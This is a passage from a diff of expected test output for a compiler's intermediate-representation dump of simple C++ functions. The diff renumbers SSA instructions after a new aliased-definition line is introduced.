InitializeParameter[a] : r0_3 +# 27| r0_5(glval) = VariableAddress[b] : +# 27| r0_6(glval) = VariableAddress[a] : +# 27| r0_7(Point &) = Load : r0_6, m0_4 +# 27| r0_8(glval) = Convert : r0_7 +# 27| r0_9(Point) = Load : r0_8, m0_1 +# 27| m0_10(Point) = Store : r0_5, r0_9 +# 28| v0_11(void) = NoOp : +# 26| v0_12(void) = ReturnVoid : +# 26| v0_13(void) = UnmodeledUse : mu* +# 26| v0_14(void) = ExitFunction : ir.cpp: # 1| Constants() -> void # 1| Block 0 # 1| v0_0(void) = EnterFunction : -# 1| mu0_1(unknown) = UnmodeledDefinition : -# 2| r0_2(glval) = VariableAddress[c_i] : -# 2| r0_3(char) = Constant[1] : -# 2| m0_4(char) = Store : r0_2, r0_3 -# 3| r0_5(glval) = VariableAddress[c_c] : -# 3| r0_6(char) = Constant[65] : -# 3| m0_7(char) = Store : r0_5, r0_6 -# 5| r0_8(glval) = VariableAddress[sc_i] : -# 5| r0_9(signed char) = Constant[-1] : -# 5| m0_10(signed char) = Store : r0_8, r0_9 -# 6| r0_11(glval) = VariableAddress[sc_c] : -# 6| r0_12(signed char) = Constant[65] : -# 6| m0_13(signed char) = Store : r0_11, r0_12 -# 8| r0_14(glval) = VariableAddress[uc_i] : -# 8| r0_15(unsigned char) = Constant[5] : -# 8| m0_16(unsigned char) = Store : r0_14, r0_15 -# 9| r0_17(glval) = VariableAddress[uc_c] : -# 9| r0_18(unsigned char) = Constant[65] : -# 9| m0_19(unsigned char) = Store : r0_17, r0_18 -# 11| r0_20(glval) = VariableAddress[s] : -# 11| r0_21(short) = Constant[5] : -# 11| m0_22(short) = Store : r0_20, r0_21 -# 12| r0_23(glval) = VariableAddress[us] : -# 12| r0_24(unsigned short) = Constant[5] : -# 12| m0_25(unsigned short) = Store : r0_23, r0_24 -# 14| r0_26(glval) = VariableAddress[i] : -# 14| r0_27(int) = Constant[5] : -# 14| m0_28(int) = Store : r0_26, r0_27 -# 15| r0_29(glval) = VariableAddress[ui] : -# 15| r0_30(unsigned int) = Constant[5] : -# 15| m0_31(unsigned int) = Store : r0_29, r0_30 -# 17| r0_32(glval) = VariableAddress[l] : -# 17| r0_33(long) = Constant[5] : -# 17| m0_34(long) = Store : r0_32, r0_33 -# 18| r0_35(glval) = VariableAddress[ul] : -# 18| r0_36(unsigned long) = Constant[5] : -# 18| m0_37(unsigned long) = Store : r0_35, r0_36 -# 20| r0_38(glval) = VariableAddress[ll_i] : -# 20| r0_39(long long) = Constant[5] : -# 20| m0_40(long long) = Store : r0_38, r0_39 -# 21| r0_41(glval) = VariableAddress[ll_ll] : -# 21| r0_42(long long) = Constant[5] : -# 21| m0_43(long long) = Store : r0_41, r0_42 -# 22| r0_44(glval) = VariableAddress[ull_i] : -# 22| r0_45(unsigned long long) = Constant[5] : -# 22| m0_46(unsigned long long) = Store : r0_44, r0_45 -# 23| r0_47(glval) = VariableAddress[ull_ull] : -# 23| r0_48(unsigned long long) = Constant[5] : -# 23| m0_49(unsigned long long) = Store : r0_47, r0_48 -# 25| r0_50(glval) = VariableAddress[b_t] : -# 25| r0_51(bool) = Constant[1] : -# 25| m0_52(bool) = Store : r0_50, r0_51 -# 26| r0_53(glval) = VariableAddress[b_f] : -# 26| r0_54(bool) = Constant[0] : -# 26| m0_55(bool) = Store : r0_53, r0_54 -# 28| r0_56(glval) = VariableAddress[wc_i] : -# 28| r0_57(wchar_t) = Constant[5] : -# 28| m0_58(wchar_t) = Store : r0_56, r0_57 -# 29| r0_59(glval) = VariableAddress[wc_c] : -# 29| r0_60(wchar_t) = Constant[65] : -# 29| m0_61(wchar_t) = Store : r0_59, r0_60 -# 31| r0_62(glval) = VariableAddress[c16] : -# 31| r0_63(char16_t) = Constant[65] : -# 31| m0_64(char16_t) = Store : r0_62, r0_63 -# 32| r0_65(glval) = VariableAddress[c32] : -# 32| r0_66(char32_t) = Constant[65] : -# 32| m0_67(char32_t) = Store : r0_65, r0_66 -# 34| r0_68(glval) = VariableAddress[f_i] : -# 34| r0_69(float) = Constant[1.0] : -# 34| m0_70(float) = Store : r0_68, r0_69 -# 35| r0_71(glval) = VariableAddress[f_f] : -# 35| r0_72(float) = Constant[1.0] : -# 35| m0_73(float) = Store : r0_71, r0_72 -# 36| r0_74(glval) = VariableAddress[f_d] : -# 36| r0_75(float) = Constant[1.0] : -# 36| m0_76(float) = Store : r0_74, r0_75 -# 38| r0_77(glval) = VariableAddress[d_i] : -# 38| r0_78(double) = Constant[1.0] : -# 38| m0_79(double) = Store : r0_77, r0_78 -# 39| r0_80(glval) = VariableAddress[d_f] : -# 39| r0_81(double) = Constant[1.0] : -# 39| m0_82(double) = Store : r0_80, r0_81 -# 40| r0_83(glval) = VariableAddress[d_d] : -# 40| r0_84(double) = Constant[1.0] : -# 40| m0_85(double) = Store : r0_83, r0_84 -# 41| v0_86(void) = NoOp : -# 1| v0_87(void) = ReturnVoid : -# 1| v0_88(void) = UnmodeledUse : mu* -# 1| v0_89(void) = ExitFunction : +# 1| m0_1(unknown) = AliasedDefinition : +# 1| mu0_2(unknown) = UnmodeledDefinition : +# 2| r0_3(glval) = VariableAddress[c_i] : +# 2| r0_4(char) = Constant[1] : +# 2| m0_5(char) = Store : r0_3, r0_4 +# 3| r0_6(glval) = VariableAddress[c_c] : +# 3| r0_7(char) = Constant[65] : +# 3| m0_8(char) = Store : r0_6, r0_7 +# 5| r0_9(glval) = VariableAddress[sc_i] : +# 5| r0_10(signed char) = Constant[-1] : +# 5| m0_11(signed char) = Store : r0_9, r0_10 +# 6| r0_12(glval) = VariableAddress[sc_c] : +# 6| r0_13(signed char) = Constant[65] : +# 6| m0_14(signed char) = Store : r0_12, r0_13 +# 8| r0_15(glval) = VariableAddress[uc_i] : +# 8| r0_16(unsigned char) = Constant[5] : +# 8| m0_17(unsigned char) = Store : r0_15, r0_16 +# 9| r0_18(glval) = VariableAddress[uc_c] : +# 9| r0_19(unsigned char) = Constant[65] : +# 9| m0_20(unsigned char) = Store : r0_18, r0_19 +# 11| r0_21(glval) = VariableAddress[s] : +# 11| r0_22(short) = Constant[5] : +# 11| m0_23(short) = Store : r0_21, r0_22 +# 12| r0_24(glval) = VariableAddress[us] : +# 12| r0_25(unsigned short) = Constant[5] : +# 12| m0_26(unsigned short) = Store : r0_24, r0_25 +# 14| r0_27(glval) = VariableAddress[i] : +# 14| r0_28(int) = Constant[5] : +# 14| m0_29(int) = Store : r0_27, r0_28 +# 15| r0_30(glval) = VariableAddress[ui] : +# 15| r0_31(unsigned int) = Constant[5] : +# 15| m0_32(unsigned int) = Store : r0_30, r0_31 +# 17| r0_33(glval) = VariableAddress[l] : +# 17| r0_34(long) = Constant[5] : +# 17| m0_35(long) = Store : r0_33, r0_34 +# 18| r0_36(glval) = VariableAddress[ul] : +# 18| r0_37(unsigned long) = Constant[5] : +# 18| m0_38(unsigned long) = Store : r0_36, r0_37 +# 20| r0_39(glval) = VariableAddress[ll_i] : +# 20| r0_40(long long) = Constant[5] : +# 20| m0_41(long long) = Store : r0_39, r0_40 +# 21| r0_42(glval) = VariableAddress[ll_ll] : +# 21| r0_43(long long) = Constant[5] : +# 21| m0_44(long long) = Store : r0_42, r0_43 +# 22| r0_45(glval) = VariableAddress[ull_i] : +# 22| r0_46(unsigned long long) = Constant[5] : +# 22| m0_47(unsigned long long) = Store : r0_45, r0_46 +# 23| r0_48(glval) = VariableAddress[ull_ull] : +# 23| r0_49(unsigned long long) = Constant[5] : +# 23| m0_50(unsigned long long) = Store : r0_48, r0_49 +# 25| r0_51(glval) = VariableAddress[b_t] : +# 25| r0_52(bool) = Constant[1] : +# 25| m0_53(bool) = Store : r0_51, r0_52 +# 26| r0_54(glval) = VariableAddress[b_f] : +# 26| r0_55(bool) = Constant[0] : +# 26| m0_56(bool) = Store : r0_54, r0_55 +# 28| r0_57(glval) = VariableAddress[wc_i] : +# 28| r0_58(wchar_t) = Constant[5] : +# 28| m0_59(wchar_t) = Store : r0_57, r0_58 +# 29| r0_60(glval) = VariableAddress[wc_c] : +# 29| r0_61(wchar_t) = Constant[65] : +# 29| m0_62(wchar_t) = Store : r0_60, r0_61 +# 31| r0_63(glval) = VariableAddress[c16] : +# 31| r0_64(char16_t) = Constant[65] : +# 31| m0_65(char16_t) = Store : r0_63, r0_64 +# 32| r0_66(glval) = VariableAddress[c32] : +# 32| r0_67(char32_t) = Constant[65] : +# 32| m0_68(char32_t) = Store : r0_66, r0_67 +# 34| r0_69(glval) = VariableAddress[f_i] : +# 34| r0_70(float) = Constant[1.0] : +# 34| m0_71(float) = Store : r0_69, r0_70 +# 35| r0_72(glval) = VariableAddress[f_f] : +# 35| r0_73(float) = Constant[1.0] : +# 35| m0_74(float) = Store : r0_72, r0_73 +# 36| r0_75(glval) = VariableAddress[f_d] : +# 36| r0_76(float) = Constant[1.0] : +# 36| m0_77(float) = Store : r0_75, r0_76 +# 38| r0_78(glval) = VariableAddress[d_i] : +# 38| r0_79(double) = Constant[1.0] : +# 38| m0_80(double) = Store : r0_78, r0_79 +# 39| r0_81(glval) = VariableAddress[d_f] : +# 39| r0_82(double) = Constant[1.0] : +# 39| m0_83(double) = Store : r0_81, r0_82 +# 40| r0_84(glval) = VariableAddress[d_d] : +# 40| r0_85(double) = Constant[1.0] : +# 40| m0_86(double) = Store : r0_84, r0_85 +# 41| v0_87(void) = NoOp : +# 1| v0_88(void) = ReturnVoid : +# 1| v0_89(void) = UnmodeledUse : mu* +# 1| v0_90(void) = ExitFunction : # 43| Foo() -> void # 43| Block 0 # 43| v0_0(void) = EnterFunction : -# 43| mu0_1(unknown) = UnmodeledDefinition : -# 44| r0_2(glval) = VariableAddress[x] : -# 44| r0_3(int) = Constant[17] : -# 44| m0_4(int) = Store : r0_2, r0_3 -# 45| r0_5(glval) = VariableAddress[y] : -# 45| r0_6(short) = Constant[7] : -# 45| m0_7(short) = Store : r0_5, r0_6 -# 46| r0_8(glval) = VariableAddress[x] : -# 46| r0_9(int) = Load : r0_8, m0_4 -# 46| r0_10(glval) = VariableAddress[y] : -# 46| r0_11(short) = Load : r0_10, m0_7 -# 46| r0_12(int) = Convert : r0_11 -# 46| r0_13(int) = Add : r0_9, r0_12 -# 46| r0_14(short) = Convert : r0_13 -# 46| r0_15(glval) = VariableAddress[y] : -# 46| m0_16(short) = Store : r0_15, r0_14 -# 47| r0_17(glval) = VariableAddress[x] : -# 47| r0_18(int) = Load : r0_17, m0_4 -# 47| r0_19(glval) = VariableAddress[y] : -# 47| r0_20(short) = Load : r0_19, m0_16 -# 47| r0_21(int) = Convert : r0_20 -# 47| r0_22(int) = Mul : r0_18, r0_21 -# 47| r0_23(glval) = VariableAddress[x] : -# 47| m0_24(int) = Store : r0_23, r0_22 -# 48| v0_25(void) = NoOp : -# 43| v0_26(void) = ReturnVoid : -# 43| v0_27(void) = UnmodeledUse : mu* -# 43| v0_28(void) = ExitFunction : +# 43| m0_1(unknown) = AliasedDefinition : +# 43| mu0_2(unknown) = UnmodeledDefinition : +# 44| r0_3(glval) = VariableAddress[x] : +# 44| r0_4(int) = Constant[17] : +# 44| m0_5(int) = Store : r0_3, r0_4 +# 45| r0_6(glval) = VariableAddress[y] : +# 45| r0_7(short) = Constant[7] : +# 45| m0_8(short) = Store : r0_6, r0_7 +# 46| r0_9(glval) = VariableAddress[x] : +# 46| r0_10(int) = Load : r0_9, m0_5 +# 46| r0_11(glval) = VariableAddress[y] : +# 46| r0_12(short) = Load : r0_11, m0_8 +# 46| r0_13(int) = Convert : r0_12 +# 46| r0_14(int) = Add : r0_10, r0_13 +# 46| r0_15(short) = Convert : r0_14 +# 46| r0_16(glval) = VariableAddress[y] : +# 46| m0_17(short) = Store : r0_16, r0_15 +# 47| r0_18(glval) = VariableAddress[x] : +# 47| r0_19(int) = Load : r0_18, m0_5 +# 47| r0_20(glval) = VariableAddress[y] : +# 47| r0_21(short) = Load : r0_20, m0_17 +# 47| r0_22(int) = Convert : r0_21 +# 47| r0_23(int) = Mul : r0_19, r0_22 +# 47| r0_24(glval) = VariableAddress[x] : +# 47| m0_25(int) = Store : r0_24, r0_23 +# 48| v0_26(void) = NoOp : +# 43| v0_27(void) = ReturnVoid : +# 43| v0_28(void) = UnmodeledUse : mu* +# 43| v0_29(void) = ExitFunction : # 50| IntegerOps(int, int) -> void # 50| Block 0 # 50| v0_0(void) = EnterFunction : -# 50| mu0_1(unknown) = UnmodeledDefinition : -# 50| r0_2(glval) = VariableAddress[x] : -# 50| m0_3(int) = InitializeParameter[x] : r0_2 -# 50| r0_4(glval) = VariableAddress[y] : -# 50| m0_5(int) = InitializeParameter[y] : r0_4 -# 51| r0_6(glval) = VariableAddress[z] : -# 51| m0_7(int) = Uninitialized : r0_6 -# 53| r0_8(glval) = VariableAddress[x] : -# 53| r0_9(int) = Load : r0_8, m0_3 -# 53| r0_10(glval) = VariableAddress[y] : -# 53| r0_11(int) = Load : r0_10, m0_5 -# 53| r0_12(int) = Add : r0_9, r0_11 -# 53| r0_13(glval) = VariableAddress[z] : -# 53| m0_14(int) = Store : r0_13, r0_12 -# 54| r0_15(glval) = VariableAddress[x] : -# 54| r0_16(int) = Load : r0_15, m0_3 -# 54| r0_17(glval) = VariableAddress[y] : -# 54| r0_18(int) = Load : r0_17, m0_5 -# 54| r0_19(int) = Sub : r0_16, r0_18 -# 54| r0_20(glval) = VariableAddress[z] : -# 54| m0_21(int) = Store : r0_20, r0_19 -# 55| r0_22(glval) = VariableAddress[x] : -# 55| r0_23(int) = Load : r0_22, m0_3 -# 55| r0_24(glval) = VariableAddress[y] : -# 55| r0_25(int) = Load : r0_24, m0_5 -# 55| r0_26(int) = Mul : r0_23, r0_25 -# 55| r0_27(glval) = VariableAddress[z] : -# 55| m0_28(int) = Store : r0_27, r0_26 -# 56| r0_29(glval) = VariableAddress[x] : -# 56| r0_30(int) = Load : r0_29, m0_3 -# 56| r0_31(glval) = VariableAddress[y] : -# 56| r0_32(int) = Load : r0_31, m0_5 -# 56| r0_33(int) = Div : r0_30, r0_32 -# 56| r0_34(glval) = VariableAddress[z] : -# 56| m0_35(int) = Store : r0_34, r0_33 -# 57| r0_36(glval) = VariableAddress[x] : -# 57| r0_37(int) = Load : r0_36, m0_3 -# 57| r0_38(glval) = VariableAddress[y] : -# 57| r0_39(int) = Load : r0_38, m0_5 -# 57| r0_40(int) = Rem : r0_37, r0_39 -# 57| r0_41(glval) = VariableAddress[z] : -# 57| m0_42(int) = Store : r0_41, r0_40 -# 59| r0_43(glval) = VariableAddress[x] : -# 59| r0_44(int) = Load : r0_43, m0_3 -# 59| r0_45(glval) = VariableAddress[y] : -# 59| r0_46(int) = Load : r0_45, m0_5 -# 59| r0_47(int) = BitAnd : r0_44, r0_46 -# 59| r0_48(glval) = VariableAddress[z] : -# 59| m0_49(int) = Store : r0_48, r0_47 -# 60| r0_50(glval) = VariableAddress[x] : -# 60| r0_51(int) = Load : r0_50, m0_3 -# 60| r0_52(glval) = VariableAddress[y] : -# 60| r0_53(int) = Load : r0_52, m0_5 -# 60| r0_54(int) = BitOr : r0_51, r0_53 -# 60| r0_55(glval) = VariableAddress[z] : -# 60| m0_56(int) = Store : r0_55, r0_54 -# 61| r0_57(glval) = VariableAddress[x] : -# 61| r0_58(int) = Load : r0_57, m0_3 -# 61| r0_59(glval) = VariableAddress[y] : -# 61| r0_60(int) = Load : r0_59, m0_5 -# 61| r0_61(int) = BitXor : r0_58, r0_60 -# 61| r0_62(glval) = VariableAddress[z] : -# 61| m0_63(int) = Store : r0_62, r0_61 -# 63| r0_64(glval) = VariableAddress[x] : -# 63| r0_65(int) = Load : r0_64, m0_3 -# 63| r0_66(glval) = VariableAddress[y] : -# 63| r0_67(int) = Load : r0_66, m0_5 -# 63| r0_68(int) = ShiftLeft : r0_65, r0_67 -# 63| r0_69(glval) = VariableAddress[z] : -# 63| m0_70(int) = Store : r0_69, r0_68 -# 64| r0_71(glval) = VariableAddress[x] : -# 64| r0_72(int) = Load : r0_71, m0_3 -# 64| r0_73(glval) = VariableAddress[y] : -# 64| r0_74(int) = Load : r0_73, m0_5 -# 64| r0_75(int) = ShiftRight : r0_72, r0_74 -# 64| r0_76(glval) = VariableAddress[z] : -# 64| m0_77(int) = Store : r0_76, r0_75 -# 66| r0_78(glval) = VariableAddress[x] : -# 66| r0_79(int) = Load : r0_78, m0_3 -# 66| r0_80(glval) = VariableAddress[z] : -# 66| m0_81(int) = Store : r0_80, r0_79 -# 68| r0_82(glval) = VariableAddress[x] : -# 68| r0_83(int) = Load : r0_82, m0_3 -# 68| r0_84(glval) = VariableAddress[z] : -# 68| r0_85(int) = Load : r0_84, m0_81 -# 68| r0_86(int) = Add : r0_85, r0_83 -# 68| m0_87(int) = Store : r0_84, r0_86 -# 69| r0_88(glval) = VariableAddress[x] : -# 69| r0_89(int) = Load : r0_88, m0_3 -# 69| r0_90(glval) = VariableAddress[z] : -# 69| r0_91(int) = Load : r0_90, m0_87 -# 69| r0_92(int) = Sub : r0_91, r0_89 -# 69| m0_93(int) = Store : r0_90, r0_92 -# 70| r0_94(glval) = VariableAddress[x] : -# 70| r0_95(int) = Load : r0_94, m0_3 -# 70| r0_96(glval) = VariableAddress[z] : -# 70| r0_97(int) = Load : r0_96, m0_93 -# 70| r0_98(int) = Mul : r0_97, r0_95 -# 70| m0_99(int) = Store : r0_96, r0_98 -# 71| r0_100(glval) = VariableAddress[x] : -# 71| r0_101(int) = Load : r0_100, m0_3 -# 71| r0_102(glval) = VariableAddress[z] : -# 71| r0_103(int) = Load : r0_102, m0_99 -# 71| r0_104(int) = Div : r0_103, r0_101 -# 71| m0_105(int) = Store : r0_102, r0_104 -# 72| r0_106(glval) = VariableAddress[x] : -# 72| r0_107(int) = Load : r0_106, m0_3 -# 72| r0_108(glval) = VariableAddress[z] : -# 72| r0_109(int) = Load : r0_108, m0_105 -# 72| r0_110(int) = Rem : r0_109, r0_107 -# 72| m0_111(int) = Store : r0_108, r0_110 -# 74| r0_112(glval) = VariableAddress[x] : -# 74| r0_113(int) = Load : r0_112, m0_3 -# 74| r0_114(glval) = VariableAddress[z] : -# 74| r0_115(int) = Load : r0_114, m0_111 -# 74| r0_116(int) = BitAnd : r0_115, r0_113 -# 74| m0_117(int) = Store : r0_114, r0_116 -# 75| r0_118(glval) = VariableAddress[x] : -# 75| r0_119(int) = Load : r0_118, m0_3 -# 75| r0_120(glval) = VariableAddress[z] : -# 75| r0_121(int) = Load : r0_120, m0_117 -# 75| r0_122(int) = BitOr : r0_121, r0_119 -# 75| m0_123(int) = Store : r0_120, r0_122 -# 76| r0_124(glval) = VariableAddress[x] : -# 76| r0_125(int) = Load : r0_124, m0_3 -# 76| r0_126(glval) = VariableAddress[z] : -# 76| r0_127(int) = Load : r0_126, m0_123 -# 76| r0_128(int) = BitXor : r0_127, r0_125 -# 76| m0_129(int) = Store : r0_126, r0_128 -# 78| r0_130(glval) = VariableAddress[x] : -# 78| r0_131(int) = Load : r0_130, m0_3 -# 78| r0_132(glval) = VariableAddress[z] : -# 78| r0_133(int) = Load : r0_132, m0_129 -# 78| r0_134(int) = ShiftLeft : r0_133, r0_131 -# 78| m0_135(int) = Store : r0_132, r0_134 -# 79| r0_136(glval) = VariableAddress[x] : -# 79| r0_137(int) = Load : r0_136, m0_3 -# 79| r0_138(glval) = VariableAddress[z] : -# 79| r0_139(int) = Load : r0_138, m0_135 -# 79| r0_140(int) = ShiftRight : r0_139, r0_137 -# 79| m0_141(int) = Store : r0_138, r0_140 -# 81| r0_142(glval) = VariableAddress[x] : -# 81| r0_143(int) = Load : r0_142, m0_3 -# 81| r0_144(int) = CopyValue : r0_143 -# 81| r0_145(glval) = VariableAddress[z] : -# 81| m0_146(int) = Store : r0_145, r0_144 -# 82| r0_147(glval) = VariableAddress[x] : -# 82| r0_148(int) = Load : r0_147, m0_3 -# 82| r0_149(int) = Negate : r0_148 -# 82| r0_150(glval) = VariableAddress[z] : -# 82| m0_151(int) = Store : r0_150, r0_149 -# 83| r0_152(glval) = VariableAddress[x] : -# 83| r0_153(int) = Load : r0_152, m0_3 -# 83| r0_154(int) = BitComplement : r0_153 -# 83| r0_155(glval) = VariableAddress[z] : -# 83| m0_156(int) = Store : r0_155, r0_154 -# 84| r0_157(glval) = VariableAddress[x] : -# 84| r0_158(int) = Load : r0_157, m0_3 -# 84| r0_159(int) = Constant[0] : -# 84| r0_160(bool) = CompareNE : r0_158, r0_159 -# 84| r0_161(bool) = LogicalNot : r0_160 -# 84| r0_162(int) = Convert : r0_161 -# 84| r0_163(glval) = VariableAddress[z] : -# 84| m0_164(int) = Store : r0_163, r0_162 -# 85| v0_165(void) = NoOp : -# 50| v0_166(void) = ReturnVoid : -# 50| v0_167(void) = UnmodeledUse : mu* -# 50| v0_168(void) = ExitFunction : +# 50| m0_1(unknown) = AliasedDefinition : +# 50| mu0_2(unknown) = UnmodeledDefinition : +# 50| r0_3(glval) = VariableAddress[x] : +# 50| m0_4(int) = InitializeParameter[x] : r0_3 +# 50| r0_5(glval) = VariableAddress[y] : +# 50| m0_6(int) = InitializeParameter[y] : r0_5 +# 51| r0_7(glval) = VariableAddress[z] : +# 51| m0_8(int) = Uninitialized[z] : r0_7 +# 53| r0_9(glval) = VariableAddress[x] : +# 53| r0_10(int) = Load : r0_9, m0_4 +# 53| r0_11(glval) = VariableAddress[y] : +# 53| r0_12(int) = Load : r0_11, m0_6 +# 53| r0_13(int) = Add : r0_10, r0_12 +# 53| r0_14(glval) = VariableAddress[z] : +# 53| m0_15(int) = Store : r0_14, r0_13 +# 54| r0_16(glval) = VariableAddress[x] : +# 54| r0_17(int) = Load : r0_16, m0_4 +# 54| r0_18(glval) = VariableAddress[y] : +# 54| r0_19(int) = Load : r0_18, m0_6 +# 54| r0_20(int) = Sub : r0_17, r0_19 +# 54| r0_21(glval) = VariableAddress[z] : +# 54| m0_22(int) = Store : r0_21, r0_20 +# 55| r0_23(glval) = VariableAddress[x] : +# 55| r0_24(int) = Load : r0_23, m0_4 +# 55| r0_25(glval) = VariableAddress[y] : +# 55| r0_26(int) = Load : r0_25, m0_6 +# 55| r0_27(int) = Mul : r0_24, r0_26 +# 55| r0_28(glval) = VariableAddress[z] : +# 55| m0_29(int) = Store : r0_28, r0_27 +# 56| r0_30(glval) = VariableAddress[x] : +# 56| r0_31(int) = Load : r0_30, m0_4 +# 56| r0_32(glval) = VariableAddress[y] : +# 56| r0_33(int) = Load : r0_32, m0_6 +# 56| r0_34(int) = Div : r0_31, r0_33 +# 56| r0_35(glval) = VariableAddress[z] : +# 56| m0_36(int) = Store : r0_35, r0_34 +# 57| r0_37(glval) = VariableAddress[x] : +# 57| r0_38(int) = Load : r0_37, m0_4 +# 57| r0_39(glval) = VariableAddress[y] : +# 57| r0_40(int) = Load : r0_39, m0_6 +# 57| r0_41(int) = Rem : r0_38, r0_40 +# 57| r0_42(glval) = VariableAddress[z] : +# 57| m0_43(int) = Store : r0_42, r0_41 +# 59| r0_44(glval) = VariableAddress[x] : +# 59| r0_45(int) = Load : r0_44, m0_4 +# 59| r0_46(glval) = VariableAddress[y] : +# 59| r0_47(int) = Load : r0_46, m0_6 +# 59| r0_48(int) = BitAnd : r0_45, r0_47 +# 59| r0_49(glval) = VariableAddress[z] : +# 59| m0_50(int) = Store : r0_49, r0_48 +# 60| r0_51(glval) = VariableAddress[x] : +# 60| r0_52(int) = Load : r0_51, m0_4 +# 60| r0_53(glval) = VariableAddress[y] : +# 60| r0_54(int) = Load : r0_53, m0_6 +# 60| r0_55(int) = BitOr : r0_52, r0_54 +# 60| r0_56(glval) = VariableAddress[z] : +# 60| m0_57(int) = Store : r0_56, r0_55 +# 61| r0_58(glval) = VariableAddress[x] : +# 61| r0_59(int) = Load : r0_58, m0_4 +# 61| r0_60(glval) = VariableAddress[y] : +# 61| r0_61(int) = Load : r0_60, m0_6 +# 61| r0_62(int) = BitXor : r0_59, r0_61 +# 61| r0_63(glval) = VariableAddress[z] : +# 61| m0_64(int) = Store : r0_63, r0_62 +# 63| r0_65(glval) = VariableAddress[x] : +# 63| r0_66(int) = Load : r0_65, m0_4 +# 63| r0_67(glval) = VariableAddress[y] : +# 63| r0_68(int) = Load : r0_67, m0_6 +# 63| r0_69(int) = ShiftLeft : r0_66, r0_68 +# 63| r0_70(glval) = VariableAddress[z] : +# 63| m0_71(int) = Store : r0_70, r0_69 +# 64| r0_72(glval) = VariableAddress[x] : +# 64| r0_73(int) = Load : r0_72, m0_4 +# 64| r0_74(glval) = VariableAddress[y] : +# 64| r0_75(int) = Load : r0_74, m0_6 +# 64| r0_76(int) = ShiftRight : r0_73, r0_75 +# 64| r0_77(glval) = VariableAddress[z] : +# 64| m0_78(int) = Store : r0_77, r0_76 +# 66| r0_79(glval) = VariableAddress[x] : +# 66| r0_80(int) = Load : r0_79, m0_4 +# 66| r0_81(glval) = VariableAddress[z] : +# 66| m0_82(int) = Store : r0_81, r0_80 +# 68| r0_83(glval) = VariableAddress[x] : +# 68| r0_84(int) = Load : r0_83, m0_4 +# 68| r0_85(glval) = VariableAddress[z] : +# 68| r0_86(int) = Load : r0_85, m0_82 +# 68| r0_87(int) = Add : r0_86, r0_84 +# 68| m0_88(int) = Store : r0_85, r0_87 +# 69| r0_89(glval) = VariableAddress[x] : +# 69| r0_90(int) = Load : r0_89, m0_4 +# 69| r0_91(glval) = VariableAddress[z] : +# 69| r0_92(int) = Load : r0_91, m0_88 +# 69| r0_93(int) = Sub : r0_92, r0_90 +# 69| m0_94(int) = Store : r0_91, r0_93 +# 70| r0_95(glval) = VariableAddress[x] : +# 70| r0_96(int) = Load : r0_95, m0_4 +# 70| r0_97(glval) = VariableAddress[z] : +# 70| r0_98(int) = Load : r0_97, m0_94 +# 70| r0_99(int) = Mul : r0_98, r0_96 +# 70| m0_100(int) = Store : r0_97, r0_99 +# 71| r0_101(glval) = VariableAddress[x] : +# 71| r0_102(int) = Load : r0_101, m0_4 +# 71| r0_103(glval) = VariableAddress[z] : +# 71| r0_104(int) = Load : r0_103, m0_100 +# 71| r0_105(int) = Div : r0_104, r0_102 +# 71| m0_106(int) = Store : r0_103, r0_105 +# 72| r0_107(glval) = VariableAddress[x] : +# 72| r0_108(int) = Load : r0_107, m0_4 +# 72| r0_109(glval) = VariableAddress[z] : +# 72| r0_110(int) = Load : r0_109, m0_106 +# 72| r0_111(int) = Rem : r0_110, r0_108 +# 72| m0_112(int) = Store : r0_109, r0_111 +# 74| r0_113(glval) = VariableAddress[x] : +# 74| r0_114(int) = Load : r0_113, m0_4 +# 74| r0_115(glval) = VariableAddress[z] : +# 74| r0_116(int) = Load : r0_115, m0_112 +# 74| r0_117(int) = BitAnd : r0_116, r0_114 +# 74| m0_118(int) = Store : r0_115, r0_117 +# 75| r0_119(glval) = VariableAddress[x] : +# 75| r0_120(int) = Load : r0_119, m0_4 +# 75| r0_121(glval) = VariableAddress[z] : +# 75| r0_122(int) = Load : r0_121, m0_118 +# 75| r0_123(int) = BitOr : r0_122, r0_120 +# 75| m0_124(int) = Store : r0_121, r0_123 +# 76| r0_125(glval) = VariableAddress[x] : +# 76| r0_126(int) = Load : r0_125, m0_4 +# 76| r0_127(glval) = VariableAddress[z] : +# 76| r0_128(int) = Load : r0_127, m0_124 +# 76| r0_129(int) = BitXor : r0_128, r0_126 +# 76| m0_130(int) = Store : r0_127, r0_129 +# 78| r0_131(glval) = VariableAddress[x] : +# 78| r0_132(int) = Load : r0_131, m0_4 +# 78| r0_133(glval) = VariableAddress[z] : +# 78| r0_134(int) = Load : r0_133, m0_130 +# 78| r0_135(int) = ShiftLeft : r0_134, r0_132 +# 78| m0_136(int) = Store : r0_133, r0_135 +# 79| r0_137(glval) = VariableAddress[x] : +# 79| r0_138(int) = Load : r0_137, m0_4 +# 79| r0_139(glval) = VariableAddress[z] : +# 79| r0_140(int) = Load : r0_139, m0_136 +# 79| r0_141(int) = ShiftRight : r0_140, r0_138 +# 79| m0_142(int) = Store : r0_139, r0_141 +# 81| r0_143(glval) = VariableAddress[x] : +# 81| r0_144(int) = Load : r0_143, m0_4 +# 81| r0_145(int) = CopyValue : r0_144 +# 81| r0_146(glval) = VariableAddress[z] : +# 81| m0_147(int) = Store : r0_146, r0_145 +# 82| r0_148(glval) = VariableAddress[x] : +# 82| r0_149(int) = Load : r0_148, m0_4 +# 82| r0_150(int) = Negate : r0_149 +# 82| r0_151(glval) = VariableAddress[z] : +# 82| m0_152(int) = Store : r0_151, r0_150 +# 83| r0_153(glval) = VariableAddress[x] : +# 83| r0_154(int) = Load : r0_153, m0_4 +# 83| r0_155(int) = BitComplement : r0_154 +# 83| r0_156(glval) = VariableAddress[z] : +# 83| m0_157(int) = Store : r0_156, r0_155 +# 84| r0_158(glval) = VariableAddress[x] : +# 84| r0_159(int) = Load : r0_158, m0_4 +# 84| r0_160(int) = Constant[0] : +# 84| r0_161(bool) = CompareNE : r0_159, r0_160 +# 84| r0_162(bool) = LogicalNot : r0_161 +# 84| r0_163(int) = Convert : r0_162 +# 84| r0_164(glval) = VariableAddress[z] : +# 84| m0_165(int) = Store : r0_164, r0_163 +# 85| v0_166(void) = NoOp : +# 50| v0_167(void) = ReturnVoid : +# 50| v0_168(void) = UnmodeledUse : mu* +# 50| v0_169(void) = ExitFunction : # 87| IntegerCompare(int, int) -> void # 87| Block 0 # 87| v0_0(void) = EnterFunction : -# 87| mu0_1(unknown) = UnmodeledDefinition : -# 87| r0_2(glval) = VariableAddress[x] : -# 87| m0_3(int) = InitializeParameter[x] : r0_2 -# 87| r0_4(glval) = VariableAddress[y] : -# 87| m0_5(int) = InitializeParameter[y] : r0_4 -# 88| r0_6(glval) = VariableAddress[b] : -# 